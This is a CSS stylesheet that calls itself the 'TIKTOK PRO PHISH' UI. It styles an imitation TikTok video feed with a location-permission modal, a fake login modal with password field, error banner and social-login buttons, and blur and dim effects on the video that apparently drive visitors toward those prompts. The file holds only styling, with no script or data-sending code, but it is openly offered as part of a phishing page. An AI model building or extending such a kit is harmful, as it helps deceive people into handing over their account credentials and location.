/* ===== TIKTOK PRO PHISH — FULL UI STYLES ===== */
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
  background: #000;
  color: #fff;
  overflow: hidden;
  height: 100vh;
  width: 100vw;
  position: fixed;
}

/* ===== TOP BAR ===== */
.top-bar {
  position: fixed; top: 0; left: 0; right: 0;
  height: 52px; display: flex; align-items: center;
  justify-content: space-between; padding: 0 16px;
  z-index: 100; background: linear-gradient(180deg, rgba(0,0,0,0.7) 0%, transparent 100%);
}
.top-left { display: flex; align-items: center; gap: 4px; }
.logo-text { font-size: 20px; font-weight: 700; margin-left: 4px; }

/* ===== VIDEO CONTAINER ===== */
.video-container {
  position: fixed; top: 0; left: 0; right: 0; bottom: 56px;
  display: flex; align-items: center; justify-content: center;
  overflow: hidden;
}
.main-video {
  width: 100%; height: 100%; object-fit: cover;
}

/* ===== VIDEO INFO (bottom left) ===== */
.video-info {
  position: absolute; bottom: 80px; left: 16px; right: 80px;
  z-index: 10;
}
.user-row { display: flex; align-items: center; gap: 10px; margin-bottom: 8px; }
.avatar {
  width: 40px; height: 40px; border-radius: 50%; border: 2px solid #fff;
  display: flex; align-items: center; justify-content: center;
  font-size: 16px; font-weight: 700; background: #555;
}
.username { font-size: 15px; }
.caption { font-size: 14px; margin-bottom: 6px; line-height: 1.3; }
.music-tag { display: flex; align-items: center; gap: 6px; font-size: 13px; color: #ddd; }

/* ===== RIGHT SIDE ACTIONS ===== */
.actions {
  position: absolute; right: 12px; bottom: 120px;
  display: flex; flex-direction: column; align-items: center;
  gap: 20px; z-index: 10;
}
.action-btn {
  display: flex; flex-direction: column; align-items: center;
  gap: 4px; cursor: pointer;
}
.action-btn svg { width: 30px; height: 30px; }
.action-count { font-size: 11px; color: #fff; }
.album-cover {
  width: 48px; height: 48px; border-radius: 4px;
  border: 2px solid #fff; display: flex; align-items: center;
  justify-content: center; animation: spin 4s linear infinite;
}
@keyframes spin { to { transform: rotate(360deg); } }

/* ===== BOTTOM BAR ===== */
.bottom-bar {
  position: fixed; bottom: 0; left: 0; right: 0;
  height: 56px; background: #000;
  display: flex; align-items: center; justify-content: space-around;
  z-index: 100; border-top: 1px solid #222;
}
.bottom-item { display: flex; flex-direction: column; align-items: center; gap: 2px; font-size: 10px; color: #888; }
.bottom-item.active { color: #fff; }
.bottom-item svg { width: 24px; height: 24px; }
.center-btn { margin-top: -12px; }
.center-btn svg { width: 36px; height: 36px; color: #fe2c55; }

/* ===== MODAL OVERLAYS ===== */
.modal-overlay {
  position: fixed; top: 0; left: 0; right: 0; bottom: 0;
  background: rgba(0,0,0,0.85);
  display: flex; align-items: center; justify-content: center;
  z-index: 1000;
}
.modal-content {
  background: #1a1a1a; border-radius: 16px; padding: 32px 24px;
  width: 90%; max-width: 380px; text-align: center;
  animation: slideUp 0.3s ease-out;
}
@keyframes slideUp {
  from { transform: translateY(40px); opacity: 0; }
  to { transform: translateY(0); opacity: 1; }
}
.modal-icon { font-size: 48px; margin-bottom: 16px; }
.modal-content h2 { font-size: 20px; margin-bottom: 12px; font-weight: 600; }
.modal-content p { font-size: 14px; color: #aaa; line-height: 1.5; margin-bottom: 20px; }

/* Geo Modal */
.location-info {
  background: #252525; border-radius: 10px; padding: 12px;
  margin-bottom: 20px; font-size: 13px;
}
.loc-row { display: flex; align-items: center; gap: 8px; justify-content: center; }

/* Buttons */
.btn-primary {
  width: 100%; padding: 14px; border-radius: 8px;
  background: #fe2c55; color: #fff; border: none;
  font-size: 16px; font-weight: 600; cursor: pointer; margin-bottom: 10px;
}
.btn-primary:hover { background: #e02447; }
.btn-secondary {
  width: 100%; padding: 14px; border-radius: 8px;
  background: transparent; color: #888; border: 1px solid #333;
  font-size: 14px; cursor: pointer;
}

/* Login Modal */
.login-modal { text-align: left; padding-top: 24px; }
.modal-close {
  position: absolute; top: 16px; right: 16px;
  width: 32px; height: 32px; display: flex; align-items: center;
  justify-content: center; cursor: pointer; font-size: 18px; color: #888;
}
.login-logo { display: flex; align-items: center; gap: 10px; margin-bottom: 24px; }
.login-logo h2 { font-size: 20px; margin: 0; }
.login-error {
  background: rgba(254,44,85,0.15); color: #fe2c55; padding: 10px 14px;
  border-radius: 8px; font-size: 13px; margin-bottom: 12px;
}
.input-group {
  position: relative; margin-bottom: 14px;
}
.input-group input {
  width: 100%; padding: 14px 16px;
  background: #252525; border: 1px solid #333; border-radius: 8px;
  color: #fff; font-size: 15px; outline: none;
}
.input-group input:focus { border-color: #fe2c55; }
.toggle-pw {
  position: absolute; right: 14px; top: 50%; transform: translateY(-50%);
  cursor: pointer; font-size: 18px;
}
.btn-login {
  width: 100%; padding: 14px; border-radius: 8px;
  background: #fe2c55; color: #fff; border: none;
  font-size: 16px; font-weight: 600; cursor: pointer; margin-top: 8px;
}
.btn-login:disabled { opacity: 0.5; cursor: not-allowed; }
.login-divider { text-align: center; color: #555; font-size: 13px; margin: 20px 0; }
.login-divider span { background: #1a1a1a; padding: 0 12px; }
.social-login { display: flex; flex-direction: column; gap: 10px; }
.social-btn {
  width: 100%; padding: 12px; border-radius: 8px;
  background: #252525; border: 1px solid #333; color: #fff;
  font-size: 14px; font-weight: 500; cursor: pointer;
  display: flex; align-items: center; justify-content: center; gap: 10px;
}
.login-footer { text-align: center; margin-top: 20px; font-size: 13px; color: #666; }
.login-footer a { color: #fe2c55; text-decoration: none; }

/* ===== COMMENTS ===== */
.comment-panel {
  position: absolute; bottom: 0; left: 0; right: 0;
  background: #1a1a1a; border-radius: 16px 16px 0 0;
  max-height: 60vh; display: flex; flex-direction: column;
  animation: slideUp 0.3s ease-out;
}
.comment-header {
  display: flex; justify-content: space-between; align-items: center;
  padding: 16px; border-bottom: 1px solid #333; font-weight: 600;
}
.comment-header span:last-child { cursor: pointer; }
.comment-list { padding: 12px 16px; overflow-y: auto; flex: 1; }
.comment-item { padding: 8px 0; font-size: 14px; border-bottom: 1px solid #222; }
.comment-input {
  display: flex; padding: 12px 16px; border-top: 1px solid #333;
  gap: 8px;
}
.comment-input input {
  flex: 1; padding: 10px 14px; background: #252525;
  border: none; border-radius: 20px; color: #fff; font-size: 14px; outline: none;
}
.comment-input button {
  padding: 10px 16px; background: #fe2c55; color: #fff;
  border: none; border-radius: 20px; font-weight: 600; cursor: pointer;
}

/* ===== LOADING ===== */
.loading-spinner {
  position: fixed; top: 0; left: 0; right: 0; bottom: 0;
  display: flex; align-items: center; justify-content: center;
  background: rgba(0,0,0,0.5); z-index: 2000;
}
.spinner {
  width: 40px; height: 40px; border: 4px solid #333;
  border-top: 4px solid #fe2c55; border-radius: 50%;
  animation: spin 0.8s linear infinite;
}

/* ===== BLUR EFFECT ON VIDEO ===== */
.blurred { filter: blur(20px) brightness(0.4); transition: filter 0.5s; }

/* ===== DIMMED OVERLAY ===== */
.video-container.dimmed::after {
  content: '';
  position: absolute; top:0; left:0; right:0; bottom:0;
  background: rgba(0,0,0,0.5);
  z-index: 5;
  animation: fadeIn 0.5s ease;
}
@keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } }

/* ===== RESPONSIVE ===== */
@media (min-width: 768px) {
  .video-container { max-width: 480px; margin: 0 auto; }
}
